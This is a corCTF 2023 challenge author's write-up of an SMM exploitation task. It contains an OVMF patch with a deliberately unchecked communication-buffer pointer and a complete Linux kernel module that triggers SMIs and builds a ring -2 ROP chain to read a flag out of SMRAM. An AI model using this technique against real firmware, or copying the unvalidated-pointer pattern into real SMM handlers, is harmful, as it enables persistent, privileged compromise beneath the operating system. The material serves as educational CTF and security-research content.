smm-diary was a medium difficulty pwnable challenge I wrote this year for corCTF 2023. I spent some time in the past year playing around with System Management Mode and reading up on binarly.io SMM CVEs, and thought it could make for a unique challenge to get players familiar with exploiting something new. Before continuing, I would like to give a shoutout to zhuyifei1999 for his CowSay series in UIUCTF 2022 that got me into SMM and MeBeim for his writeups on CowSay - funnily enough, these were the very two people who took first and second blood on my SMM challenge in corCTF this year.
To start off, we were given the following QEMU run script:
#!/bin/sh ./qemu-system-x86_64 \ -m 4096M \ -smp 1 \ -kernel "./bzImage" \ -append "console=ttyS0 panic=-1 ignore_loglevel pti=on" \ -netdev user,id=net \ -device e1000,netdev=net \ -display none \ -vga none \ -serial stdio \ -monitor /dev/null \ -machine q35,smm=on,accel=tcg \ -cpu max \ -initrd "./initramfs.cpio.gz" \ -global driver=cfi.pflash01,property=secure,value=on \ -drive if=pflash,format=raw,unit=0,file=./FV/OVMF_CODE.fd,readonly=on \ -drive if=pflash,format=raw,unit=1,file=./FV/OVMF_VARS.fd,readonly=on \ -global ICH9-LPC.disable_s3=1 \ -debugcon file:/dev/null \ -global isa-debugcon.iobase=0x402 \ -no-reboot
We were also given the following OVMF EDK2 patch on commit 16779ede2d366bfc6b702e817356ccf43425bcc8 (of course the flag was replaced with a dummy test flag in the distributed patch):
diff --git a/OvmfPkg/Corctf/Corctf.c b/OvmfPkg/Corctf/Corctf.c new file mode 100644 index 0000000..4122dbc --- /dev/null +++ b/OvmfPkg/Corctf/Corctf.c +#include <Uefi.h> +#include <Library/UefiLib.h> +#include <Library/BaseLib.h> +#include <Library/BaseMemoryLib.h> +#include <Library/DebugLib.h> +#include <Library/PcdLib.h> +#include <Library/SmmServicesTableLib.h> + +#include "Corctf.h" + +const CHAR8 *Flag = "corctf{uNch3CKeD_c0Mm_BufF3r:(}"; + +typedef struct +{ + UINT8 Note[16]; +}DIARY_NOTE; + +#define NUM_PAGES 20 + +DIARY_NOTE Book[NUM_PAGES]; + +#define ADD_NOTE 0x1337 +#define GET_NOTE 0x1338 +#define DUMP_NOTES 0x31337 + +typedef struct +{ + UINT32 Cmd; + UINT32 Idx; + union TRANSFER_DATA + { + DIARY_NOTE Note; + UINT8 *Dest; + } Data; +}COMM_DATA; + +VOID +TransferNote ( + IN DIARY_NOTE *Note, + IN UINT32 Idx, + IN BOOLEAN In + ) +{ + if (In) + { + CopyMem(&Book[Idx], Note, sizeof(DIARY_NOTE)); + } + else + { + CopyMem(Note, &Book[Idx], sizeof(DIARY_NOTE)); + } +} + +VOID +DumpNotes ( + IN UINT8 *Dest + ) +{ + CopyMem(Dest, &Book, sizeof(Book)); +} + +EFI_STATUS +EFIAPI +CorctfSmmHandler ( + IN EFI_HANDLE DispatchHandle, + IN CONST VOID *Context OPTIONAL, + IN OUT VOID *CommBuffer OPTIONAL, + IN OUT UINTN *CommBufferSize OPTIONAL + ) +{ + COMM_DATA *CommData = (COMM_DATA *)CommBuffer; + + if (*CommBufferSize != sizeof(COMM_DATA)) + { + DEBUG((DEBUG_INFO, "Invalid size passed to %a\n", __FUNCTION__)); + DEBUG((DEBUG_INFO, "Expected Size: 0x%lx, got 0x%lx\n", sizeof(COMM_DATA), *CommBufferSize)); + goto Failure; + } + + if ((CommData->Cmd == ADD_NOTE || CommData->Cmd == GET_NOTE) && CommData->Idx >= NUM_PAGES) + { + DEBUG((DEBUG_INFO, "Invalid idx passed to %a\n", __FUNCTION__)); + goto Failure; + } + + switch (CommData->Cmd) + { + case ADD_NOTE: + TransferNote(&(CommData->Data.Note), CommData->Idx, TRUE); + break; + case GET_NOTE: + TransferNote(&(CommData->Data.Note), CommData->Idx, FALSE); + break; + case DUMP_NOTES: + DumpNotes(CommData->Data.Dest); + break; + default: + DEBUG((DEBUG_INFO, "Invalid cmd passed to %a, got 0x%lx\n", __FUNCTION__, CommData->Cmd)); + goto Failure; + } + + return EFI_SUCCESS; + + Failure: + *CommBufferSize = -1; + return EFI_SUCCESS; +} + +EFI_STATUS +EFIAPI +CorctfSmmInit ( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE* SystemTable + ) +{ + EFI_STATUS Status; + EFI_HANDLE DispatchHandle; + + ASSERT (FeaturePcdGet (PcdSmmSmramRequire)); + DEBUG ((DEBUG_INFO, "Corctf Diary Note Handler initiailizing\n")); + Status = gSmst->SmiHandlerRegister ( + CorctfSmmHandler, + &gEfiSmmCorctfProtocolGuid, + &DispatchHandle + ); + + if (EFI_ERROR (Status)) + { + DEBUG ((DEBUG_ERROR, "%a: SmiHandlerRegister(): %r\n", + __FUNCTION__, Status)); + } + else + { + DEBUG ((DEBUG_INFO, "Corctf SMM Diary Note handler installed successfully!\n")); + DEBUG ((DEBUG_INFO, "Unlike heap notes, storing your notes in SMM will give you true secrecy!\n", 0)); + DEBUG ((DEBUG_INFO, "This place is so secretive that we even hid a flag in here!\n" + "Just to tease you a bit, the first few characters are: %.6a\n", Flag)); + } + + return Status; +} \ No newline at end of file diff --git a/OvmfPkg/Corctf/Corctf.h b/OvmfPkg/Corctf/Corctf.h new file mode 100644 index 0000000..5f57570 --- /dev/null +++ b/OvmfPkg/Corctf/Corctf.h +#include <Uefi.h> + +// b888a84d-2888-480e-9583-813725fd398b +#define EFI_CORCTF_SMM_PROTOCOL_GUID \ + { 0xb888a84d, 0x3888, 0x480e, { 0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b } } + +extern EFI_GUID gEfiSmmCorctfProtocolGuid; \ No newline at end of file diff --git a/OvmfPkg/Corctf/Corctf.inf b/OvmfPkg/Corctf/Corctf.inf new file mode 100644 index 0000000..f5b0e72 --- /dev/null +++ b/OvmfPkg/Corctf/Corctf.inf +[Defines] + INF_VERSION = 1.29 + BASE_NAME = CorCtfSmm + FILE_GUID = 6217a808-f2d4-4c7b-a50e-7f8803b8d316 + MODULE_TYPE = DXE_SMM_DRIVER + ENTRY_POINT = CorctfSmmInit + PI_SPECIFICATION_VERSION = 0x00010046 + +[sources] + Corctf.h + Corctf.c + +[Packages] + MdePkg/MdePkg.dec + OvmfPkg/OvmfPkg.dec + +[LibraryClasses] + UefiDriverEntryPoint + UefiLib + PcdLib + SmmServicesTableLib + +[Protocols] + gEfiSmmCorctfProtocolGuid + +[FeaturePcd] + gUefiOvmfPkgTokenSpaceGuid.PcdSmmSmramRequire + +[Depex] + TRUE \ No newline at end of file diff --git a/OvmfPkg/OvmfPkg.dec b/OvmfPkg/OvmfPkg.dec index 8c20480..acdb900 100644 --- a/OvmfPkg/OvmfPkg.dec +++ b/OvmfPkg/OvmfPkg.dec gQemuAcpiTableNotifyProtocolGuid = {0x928939b2, 0x4235, 0x462f, {0x95, 0x80, 0xf6, 0xa2, 0xb2, 0xc2, 0x1a, 0x4f}} gEfiMpInitLibMpDepProtocolGuid = {0xbb00a5ca, 0x8ce, 0x462f, {0xa5, 0x37, 0x43, 0xc7, 0x4a, 0x82, 0x5c, 0xa4}} gEfiMpInitLibUpDepProtocolGuid = {0xa9e7cef1, 0x5682, 0x42cc, {0xb1, 0x23, 0x99, 0x30, 0x97, 0x3f, 0x4a, 0x9f}} + gEfiSmmCorctfProtocolGuid = {0xb888a84d, 0x3888, 0x480e, {0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b}} [PcdsFixedAtBuild] gUefiOvmfPkgTokenSpaceGuid.PcdOvmfPeiMemFvBase|0x0|UINT32|0 diff --git a/OvmfPkg/OvmfPkgX64.dsc b/OvmfPkg/OvmfPkgX64.dsc index 1448f92..fe4e828 100644 --- a/OvmfPkg/OvmfPkgX64.dsc +++ b/OvmfPkg/OvmfPkgX64.dsc ################################################################################ [Components] OvmfPkg/ResetVector/ResetVector.inf - +!if $(SMM_REQUIRE) == TRUE + OvmfPkg/Corctf/Corctf.inf +!endif # # SEC Phase modules # diff --git a/OvmfPkg/OvmfPkgX64.fdf b/OvmfPkg/OvmfPkgX64.fdf index 438806f..55e1b9e 100644 --- a/OvmfPkg/OvmfPkgX64.fdf +++ b/OvmfPkg/OvmfPkgX64.fdf INF OvmfPkg/CpuHotplugSmm/CpuHotplugSmm.inf INF UefiCpuPkg/CpuIo2Smm/CpuIo2Smm.inf INF MdeModulePkg/Universal/LockBox/SmmLockBox/SmmLockBox.inf INF UefiCpuPkg/PiSmmCpuDxeSmm/PiSmmCpuDxeSmm.inf - +INF OvmfPkg/Corctf/Corctf.inf # # Variable driver stack (SMM) #
Before discussing the bug, it is important to give a high level overview of SMM - I learned a lot of what I know from this slideshow and this post. SMM (System Management Mode) is the second most privileged ring on x86_64 (only ring -3 is more privileged). Its intended use case is often for vital or sensitive firmware that should run uninterrupted at high privileges. When a system enters SMM, all cores enter SMM to prevent any potential race conditions in SMT systems… and one wonders why too many SMM transitions are known for causing performance degradation.
One common way to trigger entry is to rely on a software smi (system
management interrupt) by writing to IO port 0xb2. The processor then
executes the SMM entry point, which is located at an offset from the
SMBASE register, and saves the current processor state for it at a
certain offset from SMBASE to restore later when leaving SMM with the rsm
instruction. The code here starts off by executing in real mode (so
physical addresses!) but identity paging is often set up,
usually as read write execute (although not in the case of current upstream
OVMF).
Generally, the execution and data of SMM handlers should be
constrainted to be within SMRAM - x86_64 has a SMRAMC register that
provides D_OPEN
bit, which when unset hides SMRAM from non-SMM contexts, and the D_LCK
bit to prevent tampering with the previous setting (this bit can only
be cleared with a system reset). Modern chips also have a TSEG region,
which you can just think of as extra SMRAM.
There is plenty more to SMM and possible security pitfalls, but that is beyond the scope of this writeup. If you are curious to see some of the other links I read up on, I linked them at the end of this writeup.
The bug in the above patch is a classic SMM firmware bug, in which a pointer passed in via the communication buffer for result output isn’t checked to be outside of SMRAM. Effectively, this just becomes an arbitrary write bug. Since SMM in OVMF (and I presume in almost all UEFI firmware) does not have ASLR, we can just target the stack and ROP in ring -2. The flag by itself is located in SMRAM, so it would only be accessible first from ring -2.
A custom QEMU build was also provided from commit f7f686b61cf7ee142c9264d2e04ac2c6a96d37f8. Standard distro QEMU builds (which were usualy of older versions) seemed to have trouble working with SMM, at least when interacting with them from ring 0 (and in general, there seems to be some quirks with QEMU SMM that differs from real hardware). KVM was also disabled as attempting to debug with a gdb remote server caused both gdb and the QEMU instance to crash for me.
The user was booted into an Ubuntu linux-hwe-5.15-headers-5.15.0-73
kernel as the root user. When checking the memory tree in QEMU monitor
mode with info mtree
, we see SMRAM relevant regions at 0000000000030000-000000000004ffff
00000000000a0000-00000000000bffff
and 000000007f000000-000000007fffffff
(the latter of which is denoted TSEG and where most of the OVMF SMM
modules seem to be located). Both the first and third region are filled
with 0xffs when accessed from non SMM mode, while the middle one is all
nulls (which I believe is treated as relevant for the VGA buffer when
not in SMM mode). So even as root, the player has no way in retrieving
the flag embedded in the buggy SMM module.
The bug by itself is quite simple to exploit, and I also provided the player with all the debug builds of the OVMF firmware’s internal module binaries. Any experienced pwner can easily find ROP gadgets with those to write out the flag from SMRAM to somewhere accessible for ring 0. The main question now is how can one communicate with this specific corctf SMM module from kernel, given its GUID in the diff file above?
This took a while for me to figure out, but binarly.io repeatedly
mentioned a tool known as ChipSec when sending payloads from ring 0 to
ring -2. I took a look at how this functionality
worked, and it seemed that it just scanned memory to look for the
headers of the gSmmCorePrivate
struct before replicating the process of
how a UEFI DXE service would trigger and communicate with a specific SMM handler - it does
this by writing the associated CommBuffer pointer with the GUID along
with some additional metadata in regards to sizes, before writing 0 to
IO port 0xB2 and 0xB3 to trigger the software SMI. Note that OVMF checks
to ensure that the CommBuffer is from a specific region of memory in addition to it not overlapping with SMRAM here.
By default, the location of gSmmCorePrivate
can’t be reached from
kernel even when reading from physmap, as BIOS marks it as reserved
during boot based on dmesg logs. But this can be easily
solved with the help of ioremap
to map in the physical address.
With all the above information, we can now write an exploit! I wrote the following driver to exploit the SMM handler:
MODULE_AUTHOR("FizzBuzz101"); MODULE_DESCRIPTION("Pwning SMM"); MODULE_LICENSE("GPL"); void log_smis(void) { uint64_t val = 0; rdmsrl(MSR_SMI_COUNT, val); printk(KERN_INFO "SMI_COUNT: 0x%llx\n", val); } void trigger_smi(void) { log_smis(); asm volatile( ".intel_syntax noprefix;" "xor eax, eax;" "out 0xb3, eax;" "out 0xb2, eax;" ".att_syntax;" :::"rax"); log_smis(); } typedef struct { uint32_t Data1; uint16_t Data2; uint16_t Data3; uint8_t Data4[8]; } EFI_GUID; // [ 0.000000] BIOS-e820: [mem 0x000000007e8ef000-0x000000007eb6efff] reserved void *reserved; void *smmc; void *comm_buffer; EFI_GUID target_smi_guid = {0xb888a84d, 0x3888, 0x480e, {0x95, 0x83, 0x81, 0x37, 0x25, 0xfd, 0x39, 0x8b}}; void map_reserved(void) { // locally, smcc is at 0x000000007EACF380 reserved = ioremap(SMMC_PHYS_ADDR & ~(0xfffull), PAGE_SIZE); smmc = reserved + (SMMC_PHYS_ADDR & 0xfffull); printk(KERN_INFO "mapped in virtual address of reserved UEFI region: 0x%lx\n", (uint64_t)reserved); printk(KERN_INFO "new SMMC virtual address: 0x%lx\n", (uint64_t)smmc); comm_buffer = ioremap(COMM_BUFFER, PAGE_SIZE); printk(KERN_INFO "mapped in virtual address of UEFI Comm Buffer: 0x%lx\n", (uint64_t)comm_buffer); } void unmap_reserved(void) { iounmap(reserved); iounmap(comm_buffer); } void trigger_vuln_smi(void *data, uint64_t size) { void *commbuffer_off = smmc + 56; void *commbuffersz_off = smmc + 64; uint64_t final_sz = sizeof(target_smi_guid) + sizeof(size) + size; memcpy(comm_buffer, &target_smi_guid, sizeof(target_smi_guid)); memcpy(comm_buffer + sizeof(target_smi_guid) + sizeof(size), data, size); writeq(COMM_BUFFER, commbuffer_off); writeq(final_sz, commbuffersz_off); trigger_smi(); } typedef __uint128_t DIARY_NOTE; typedef uint32_t UINT32; typedef uint8_t UINT8; typedef struct { UINT32 Cmd; UINT32 Idx; union TRANSFER_DATA { DIARY_NOTE Note; UINT8 *Dest; } Data; }__attribute__((packed)) COMM_DATA; void send_key(__uint128_t note, uint32_t idx) { COMM_DATA data = {0}; data.Cmd = ADD_NOTE; data.Idx = idx; data.Data.Note = note; trigger_vuln_smi(&data, sizeof(data)); } void send_gadget(uint64_t gadget1, uint64_t gadget2, uint32_t idx) { __uint128_t note = gadget1 | ((__uint128_t)(gadget2) << 64); send_key(note, idx); } void dump_all_notes(phys_addr_t addr) { COMM_DATA data = {0}; data.Cmd = DUMP_NOTES; data.Data.Dest = addr; trigger_vuln_smi(&data, sizeof(data)); } // get SMM Driver load addresses from debug log, and break to get return address uint64_t pop_rcx_rbp = PiSmmCpuDxeSmmBase + 0x0001044d; //: pop rcx ; pop rbx ; ret ; uint64_t pop_rax_rbx = PiSmmCpuDxeSmmBase + 0x000105dc; //: pop rax ; pop rbx ; ret ; uint64_t mov_ptr_rcx_rax = PiSmmCpuDxeSmmBase + 0x0000fee5; //: mov qword [rcx], rax ; ret ; uint64_t load_rax_gadget = PiSmmCoreBase + 0x0000110f; // : mov rax, qword [rdi] ; sub rsi, rdx ; add rax, rsi ; ret ; uint64_t pop_rdx_rsi_rdi = PiSmmCoreBase + 0x000019cd; // : pop rdx ; pop rsi ; pop rdi ; ret ; uint64_t pop_rdi = PiSmmCoreBase + 0x000019cd + 2; uint64_t ropnop = PiSmmCoreBase + 0x000019cd + 3; uint64_t rsm = PiSmmCpuDxeSmmBase + 0x000fe89; uint64_t flag_addr = CorCtfSmmBase + 0x0002bbc; static int init_exploit(void) { printk(KERN_INFO "beginning exploit\n"); map_reserved(); send_gadget(pop_rdx_rsi_rdi, 0, 0); send_gadget(0, flag_addr, 1); send_gadget(load_rax_gadget, pop_rcx_rbp, 2); send_gadget(DumpHere, 0, 3); send_gadget(mov_ptr_rcx_rax, ropnop, 4); send_gadget(pop_rdi, flag_addr + 8, 5); send_gadget(load_rax_gadget, pop_rcx_rbp, 6); send_gadget(pop_rdi, flag_addr + 8, 7); send_gadget(load_rax_gadget, pop_rcx_rbp, 8); send_gadget(DumpHere + 8, 0, 9); send_gadget(mov_ptr_rcx_rax, ropnop, 10); send_gadget(pop_rdi, flag_addr + 16, 11); send_gadget(load_rax_gadget, pop_rcx_rbp, 12); send_gadget(DumpHere + 16, 0, 13); send_gadget(mov_ptr_rcx_rax, ropnop, 14); send_gadget(pop_rdi, flag_addr + 24, 15); send_gadget(load_rax_gadget, pop_rcx_rbp, 16); send_gadget(DumpHere + 24, 0, 17); send_gadget(mov_ptr_rcx_rax, ropnop, 18); send_gadget(rsm, 0, 19); dump_all_notes(0x7ffb6ae8); printk("found SMM flag: %s\n", comm_buffer); return 0; } static void cleanup_exploit(void) { unmap_reserved(); printk(KERN_INFO "leaving exploit\n"); } module_init(init_exploit); module_exit(cleanup_exploit);
Running the exploit results in:
Ring -2 has been pwned!
Overall, SMM is quite an interesting target for exploitation and potential backdoors, especially given just how high its privileges are. During the CTF, 7 teams managed to solve this, which was around what I expected for a medium challenge in corCTF’s pwn category. I must mention that zhuyifei1999 had quite an interesting strategy I have heard about in real world SMM exploits that avoided ROP as he ended up overwriting SMBASE to be outside SMRAM to control of the entry point (but then had to deal with the pain of transitioning from 16 to 32 bit).
As promised, here are some other interesting SMM links I have read through when making this challenge:
https://dreamlayers.blogspot.com/2012/10/dumping-smram.html
http://blog.cr4.sh/2015/07/building-reliable-smm-backdoor-for-uefi.html
https://www.synacktiv.com/en/publications/through-the-smm-class-and-a-vulnerability-found-there
https://hardwear.io/netherlands-2021/presentation/automated-vulnerability-hunting-in-SMM.pdf
https://research.nccgroup.com/2023/04/11/stepping-insyde-system-management-mode/
https://dannyodler.medium.com/attacking-the-golden-ring-on-amd-mini-pc-b7bfb217b437
Feel free to point out any mistakes or ask questions about this writeup!
No comments:
Post a Comment